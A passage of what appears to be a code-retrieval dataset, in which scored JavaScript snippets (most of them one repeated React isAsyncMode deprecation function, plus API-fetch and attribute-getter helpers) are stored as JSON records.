REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" } ]
02f0ce054270f4d53914d9103632d741
Get specific attraction by uuid or null on failure
[ { "docid": "7f69131d266b936d20c20764aa69ad62", "score": "0.7755421", "text": "async getAttraction(uuid, config = {}) {\n let result = null;\n\n try {\n let response = await Axios.get(baseUrl + '/attractions/' + uuid + buildQuery(config));\n result = response.data;\n } catch (error) {\n console.error(error);\n }\n\n return result;\n }", "title": "" } ]
[ { "docid": "763e10879160bb8f636054a083df71fa", "score": "0.77566993", "text": "async getAttraction(uuid, config = {}) {\n let result = null;\n\n try {\n let response = await Axios.get(this.baseUrl + '/attractions/' + uuid + this.buildQuery(config));\n result = response.data;\n } catch (error) {\n console.error(error)\n }\n\n return result;\n }", "title": "" }, { "docid": "2d126f1ffc6d42370df25f21a88b37b9", "score": "0.6011764", "text": "function getAttraction(id) {\n $.ajax({\n type: \"GET\",\n url: \"https://app.ticketmaster.com/discovery/v2/attractions/\" + id + \".json?apikey=\" + tm_api_key,\n async: true,\n dataType: \"json\",\n success: function (json) {\n showAttraction(json);\n },\n error: function (xhr, status, err) {\n console.log(err);\n }\n });\n }", "title": "" }, { "docid": "8e1c9ce55a83420c3dc49eec06ba2d9f", "score": "0.5978638", "text": "get attribute() {}", "title": "" }, { "docid": "38e9ade7820592c978fed1807b020167", "score": "0.56761664", "text": "function attributeById(attributeId){\n for(var i=0; i<page.pageAttributes.length; i++){\n if (attributeId==page.pageAttributes[i].id) return page.pageAttributes[i];\n }\n alert(\"Error - no attribute with id: \"+attributeId);\n return null;\n}", "title": "" }, { "docid": "5d05ea212d308575c6cd4e0a863dd96a", "score": "0.5588466", "text": "function getEventAttributeValue(target, type) {\n var _a, _b;\n const listMap = $$2(target, \"target\");\n return (_b = (_a = listMap[type]) === null || _a === void 0 ? void 0 : _a.attrCallback) !== null && _b !== void 0 ? _b : null;\n}", "title": "" }, { "docid": "159b9c3cca4937d1047f90565edc67a1", "score": "0.54284716", "text": "async findAChargeByUuid (Charge, uuid) {\n\t\tconst charge = await Charge.findOne({\n\t\t\twhere: { uuid }\n\t\t});\n\t\treturn charge;\n\t}", "title": "" }, { "docid": "64e06a592d93235f5001263310acfd57", "score": "0.53636473", "text": "function _getAttribute(obj, options) {\n if (typeof options === 'string') options = {\n shortName: options\n };\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i){\n attr = obj.attributes[i];\n if (options.type && options.type === attr.type) rval = attr;\n else if (options.name && options.name === attr.name) rval = attr;\n else if (options.shortName && options.shortName === attr.shortName) rval = attr;\n }\n return rval;\n}", "title": "" }, { "docid": "91e644d8c39d929477052b982b412cab", "score": "0.5348226", "text": "function getAttribute(node, attr) {\n\treturn (node.$ && node.$[attr] && node.$[attr].value) || null;\n}", "title": "" }, { "docid": "8d0193d6a48d0d5ffdf8a8585eb37a36", "score": "0.53332996", "text": "get (attribute: string): any {\n if (this.has(attribute)) {\n return this.attributes.get(attribute)\n }\n throw new Error(`Attribute \"${attribute}\" not found`)\n }", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.5291336", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.5291336", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === 